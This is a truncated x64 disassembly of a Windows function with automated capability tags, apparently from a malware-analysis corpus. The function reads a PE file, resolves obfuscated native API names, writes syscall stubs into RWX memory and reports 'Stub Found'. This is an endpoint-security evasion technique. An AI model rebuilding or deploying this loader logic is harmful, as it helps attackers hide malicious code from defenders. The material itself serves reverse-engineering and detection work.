Function at 0x140002de3
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
mov eax, 0x3238
call fcn.140014660
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.1400136b0
call fcn.140001617
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x3184], eax
mov eax, dword [rbp + 0x3184]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x3178], rax
mov rax, qword [rbp + 0x3178]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x17
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x3170], rax
mov rax, qword [rbp + 0x3170]
add rax, 0x17
mov qword [rbp + 0x3168], rax
mov rax, qword [rbp + 0x3168]
add rax, 0x17
mov qword [rbp + 0x3160], rax
mov rax, qword [rbp + 0x3160]
add rax, 0x17
mov qword [rbp + 0x3158], rax
mov rax, qword [rbp + 0x3158]
add rax, 0x17
mov qword [rbp + 0x3150], rax
mov rax, qword [rbp + 0x3150]
add rax, 0x17
mov qword [rbp + 0x3148], rax
mov rax, qword [rbp + 0x3148]
add rax, 0x17
mov qword [rbp + 0x3140], rax
mov rax, qword [rbp + 0x3140]
add rax, 0x17
mov qword [rbp + 0x3138], rax
mov rax, qword [rbp + 0x3138]
add rax, 0x17
mov qword [rbp + 0x3130], rax
mov rax, qword [rbp + 0x3130]
add rax, 0x17
mov qword [rbp + 0x3128], rax
mov rax, qword [rbp + 0x3128]
add rax, 0x17
mov qword [rbp + 0x3120], rax
mov rax, qword [rbp + 0x3120]
add rax, 0x17
mov qword [rbp + 0x3118], rax
mov rax, qword [rbp + 0x3118]
add rax, 0x17
mov qword [rbp + 0x3110], rax
mov rax, qword [rbp + 0x3110]
add rax, 0x17
mov qword [rbp + 0x3108], rax
mov rax, qword [rbp + 0x3108]
add rax, 0x17
mov qword [rbp + 0x3100], rax
mov rax, qword [rbp + 0x3100]
add rax, 0x17
mov qword [rbp + 0x30f8], rax
mov rax, qword [rbp + 0x30f8]
add rax, 0x17
mov qword [rbp + 0x30f0], rax
mov rax, qword [rbp + 0x30f0]
add rax, 0x17
mov qword [rbp + 0x30e8], rax
mov dword [rbp + 0x12c], 0
mov qword [rbp + 0x30e0], 0
mov dword [rbp + 0x30dc], 0
mov dword [rbp + 0x128], 0
mov qword [rbp + 0x30d0], 0
mov rax, qword [rbp + 0x3170]
mov qword [0x1402db038], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3170]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3168]
mov qword [0x1402db040], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3168]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3160]
mov qword [0x1402db048], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3160]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3158]
mov qword [0x1402db050], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3158]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3150]
mov qword [0x1402db058], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3150]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3148]
mov qword [0x1402db060], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3148]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3140]
mov qword [0x1402db068], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3140]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3138]
mov qword [0x1402db070], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3138]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3130]
mov qword [0x1402db078], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3130]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3128]
mov qword [0x1402db080], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3128]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3120]
mov qword [0x1402db088], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3120]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3118]
mov qword [0x1402db090], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3118]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3110]
mov qword [0x1402db098], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3110]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3108]
mov qword [0x1402db0a0], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3108]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3100]
mov qword [0x1402db0a8], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x3100]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x30f8]
mov qword [0x1402db0b0], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x30f8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x30f0]
mov qword [0x1402db0b8], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x30f0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x30e8]
mov qword [0x1402db0c0], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x30e8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, [0x1402aed94]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x30e0], rax
mov rax, qword [rbp + 0x30e0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x30dc], eax
mov ebx, dword [rbp + 0x30dc]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x30d0], rax
lea r8, [rbp + 0x128]
mov ecx, dword [rbp + 0x30dc]
mov rdx, qword [rbp + 0x30d0]
mov rax, qword [rbp + 0x30e0]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x30d0]
mov qword [rbp + 0x30c8], rax
mov rax, qword [rbp + 0x30c8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x30d0]
add rax, rdx
mov qword [rbp + 0x30c0], rax
mov rax, qword [rbp + 0x30c0]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x30bc], eax
mov rax, qword [rbp + 0x30c0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x30c0]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x31a8], rax
mov rax, qword [rbp + 0x31a8]
mov qword [rbp + 0x30b0], rax
mov rax, qword [rbp + 0x31a8]
mov qword [rbp + 0x31a0], rax
mov dword [rbp + 0x319c], 0
jmp 0x140003520
mov rax, qword [rbp + 0x31a8]
lea rdx, str..rdata
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140003511
mov rax, qword [rbp + 0x31a8]
mov qword [rbp + 0x31a0], rax
jmp 0x140003536
add qword [rbp + 0x31a8], 0x28
add dword [rbp + 0x319c], 1
mov rax, qword [rbp + 0x30c0]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x319c], eax
jl 0x1400034e7
mov edx, dword [rbp + 0x30bc]
mov rax, qword [rbp + 0x30d0]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x31a0]
mov rdx, rax
call fcn.1400014b0
mov qword [rbp + 0x30a8], rax
lea rax, [rbp + 0x3ff]
mov rcx, rax
call fcn.140071810
lea rdx, [rbp + 0x3ff]
lea rax, [rbp + 0x3d0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9170
lea rax, [rbp + 0x3b0]
lea rdx, [rbp + 0x3d0]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x390]
lea rdx, [rbp + 0x3b0]
lea r8, [0x1402aedbd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x370]
lea rdx, [rbp + 0x390]
lea r8, [0x1402aedbf]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x350]
lea rdx, [rbp + 0x370]
lea r8, [0x1402aedbf]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x330]
lea rdx, [rbp + 0x350]
lea r8, [0x1402aedc1]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x310]
lea rdx, [rbp + 0x330]
lea r8, [0x1402aedc3]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2f0]
lea rdx, [rbp + 0x310]
lea r8, [0x1402aedc5]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2d0]
lea rdx, [rbp + 0x2f0]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2b0]
lea rdx, [rbp + 0x2d0]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x290]
lea rdx, [rbp + 0x2b0]
lea r8, [0x1402aedc9]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x270]
lea rdx, [rbp + 0x290]
lea r8, [0x1402aedcb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x250]
lea rdx, [rbp + 0x270]
lea r8, [0x1402aedcd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x230]
lea rdx, [rbp + 0x250]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x210]
lea rdx, [rbp + 0x230]
lea r8, [0x1402aedcf]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1f0]
lea rdx, [rbp + 0x210]
lea r8, [0x1402aedc5]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1d0]
lea rdx, [rbp + 0x1f0]
lea r8, [0x1402aedbf]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1b0]
lea rdx, [rbp + 0x1d0]
lea r8, [0x1402aedd1]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x190]
lea rdx, [rbp + 0x1b0]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x170]
lea rdx, [rbp + 0x190]
lea r8, [0x1402aedd3]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x150]
lea rdx, [rbp + 0x170]
lea r8, [0x1402aedc1]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x130]
lea rdx, [rbp + 0x150]
lea r8, [0x1402aedcd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x100]
lea rdx, [rbp + 0x130]
lea r8, [0x1402aedd5]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x130]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x150]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x170]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x190]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1b0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1d0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1f0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x210]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x230]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x250]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x290]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2b0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2d0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2f0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x310]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x330]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x350]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x370]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x390]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x3b0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x3d0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x3ff]
mov rcx, rax
call fcn.140071840
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x400]
mov rcx, rax
call fcn.1400a8ce0
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x400]
mov rcx, qword [rbp + 0x3170]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x400]
mov rcx, rax
call fcn.1400a9890
cmp dword [rbp + 0x30a4], 0
je 0x1400039dc
lea rbx, [0x1402aedd7]
jmp 0x1400039e3
lea rbx, [0x1402aeddc]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002f010
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x6af]
mov rcx, rax
call fcn.140071810
lea rdx, [rbp + 0x6af]
lea rax, [rbp + 0x680]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9170
lea rax, [rbp + 0x660]
lea rdx, [rbp + 0x680]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x640]
lea rdx, [rbp + 0x660]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x620]
lea rdx, [rbp + 0x640]
lea r8, [0x1402aedcd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x600]
lea rdx, [rbp + 0x620]
lea r8, [0x1402aedcb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x5e0]
lea rdx, [rbp + 0x600]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x5c0]
lea rdx, [rbp + 0x5e0]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x5a0]
lea rdx, [rbp + 0x5c0]
lea r8, [0x1402aedc9]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x580]
lea rdx, [rbp + 0x5a0]
lea r8, [0x1402aedcb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x560]
lea rdx, [rbp + 0x580]
lea r8, [0x1402aedcd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x540]
lea rdx, [rbp + 0x560]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x520]
lea rdx, [rbp + 0x540]
lea r8, [0x1402aedcf]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x500]
lea rdx, [rbp + 0x520]
lea r8, [0x1402aedc5]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x4e0]
lea rdx, [rbp + 0x500]
lea r8, [0x1402aedbf]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x4c0]
lea rdx, [rbp + 0x4e0]
lea r8, [0x1402aedd1]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x4a0]
lea rdx, [rbp + 0x4c0]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x480]
lea rdx, [rbp + 0x4a0]
lea r8, [0x1402aedd3]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x460]
lea rdx, [rbp + 0x480]
lea r8, [0x1402aedc1]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x440]
lea rdx, [rbp + 0x460]
lea r8, [0x1402aedcd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x420]
lea rdx, [rbp + 0x440]
lea r8, [0x1402aedd5]
mov rcx, rax
call fcn.1400b9cf0
lea rdx, [rbp + 0x420]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.1400a98d0
lea rax, [rbp + 0x420]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x440]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x460]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x480]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x4a0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x4c0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x4e0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x500]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x520]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x540]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x560]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x580]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x5a0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x5c0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x5e0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x600]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x620]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x640]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x660]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x680]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x6af]
mov rcx, rax
call fcn.140071840
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x6b0]
mov rcx, rax
call fcn.1400a8ce0
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x6b0]
mov rcx, qword [rbp + 0x3168]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x6b0]
mov rcx, rax
call fcn.1400a9890
cmp dword [rbp + 0x30a4], 0
je 0x140003e27
lea rbx, [0x1402aedd7]
jmp 0x140003e2e
lea rbx, [0x1402aeddc]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002f010
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x99f]
mov rcx, rax
call fcn.140071810
lea rdx, [rbp + 0x99f]
lea rax, [rbp + 0x970]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9170
lea rax, [rbp + 0x950]
lea rdx, [rbp + 0x970]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x930]
lea rdx, [rbp + 0x950]
lea r8, [0x1402aedf7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x910]
lea rdx, [rbp + 0x930]
lea r8, [0x1402aedcd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x8f0]
lea rdx, [rbp + 0x910]
lea r8, [0x1402aedc1]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x8d0]
lea rdx, [rbp + 0x8f0]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x8b0]
lea rdx, [rbp + 0x8d0]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x890]
lea rdx, [rbp + 0x8b0]
lea r8, [0x1402aedc3]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x870]
lea rdx, [rbp + 0x890]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x850]
lea rdx, [rbp + 0x870]
lea r8, [0x1402aedc9]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x830]
lea rdx, [rbp + 0x850]
lea r8, [0x1402aedcb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x810]
lea rdx, [rbp + 0x830]
lea r8, [0x1402aedcd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x7f0]
lea rdx, [rbp + 0x810]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x7d0]
lea rdx, [rbp + 0x7f0]
lea r8, [0x1402aedcf]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x7b0]
lea rdx, [rbp + 0x7d0]
lea r8, [0x1402aedc5]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x790]
lea rdx, [rbp + 0x7b0]
lea r8, [0x1402aedbf]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x770]
lea rdx, [rbp + 0x790]
lea r8, [0x1402aedd1]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x750]
lea rdx, [rbp + 0x770]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x730]
lea rdx, [rbp + 0x750]
lea r8, [0x1402aedd3]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x710]
lea rdx, [rbp + 0x730]
lea r8, [0x1402aedc1]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x6f0]
lea rdx, [rbp + 0x710]
lea r8, [0x1402aedcd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x6d0]
lea rdx, [rbp + 0x6f0]
lea r8, [0x1402aedd5]
mov rcx, rax
call fcn.1400b9cf0
lea rdx, [rbp + 0x6d0]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.1400a98d0
lea rax, [rbp + 0x6d0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x6f0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x710]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x730]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x750]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x770]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x790]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x7b0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x7d0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x7f0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x810]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x830]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x850]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x870]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x890]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x8b0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x8d0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x8f0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x910]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x930]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x950]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x970]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x99f]
mov rcx, rax
call fcn.140071840
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x9a0]
mov rcx, rax
call fcn.1400a8ce0
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x9a0]
mov rcx, qword [rbp + 0x3160]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x9a0]
mov rcx, rax
call fcn.1400a9890
cmp dword [rbp + 0x30a4], 0
je 0x1400042ca
lea rbx, [0x1402aedd7]
jmp 0x1400042d1
lea rbx, [0x1402aeddc]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002f010
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0xbcf]
mov rcx, rax
call fcn.140071810
lea rdx, [rbp + 0xbcf]
lea rax, [rbp + 0xba0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9170
lea rax, [rbp + 0xb80]
lea rdx, [rbp + 0xba0]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xb60]
lea rdx, [rbp + 0xb80]
lea r8, [0x1402aedf9]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xb40]
lea rdx, [rbp + 0xb60]
lea r8, [0x1402aedcd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xb20]
lea rdx, [rbp + 0xb40]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xb00]
lea rdx, [rbp + 0xb20]
lea r8, [0x1402aedc5]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xae0]
lea rdx, [rbp + 0xb00]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xac0]
lea rdx, [rbp + 0xae0]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xaa0]
lea rdx, [rbp + 0xac0]
lea r8, [0x1402aedfb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xa80]
lea rdx, [rbp + 0xaa0]
lea r8, [0x1402aedfd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xa60]
lea rdx, [rbp + 0xa80]
lea r8, [0x1402aedcd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xa40]
lea rdx, [rbp + 0xa60]
lea r8, [0x1402aedc7]
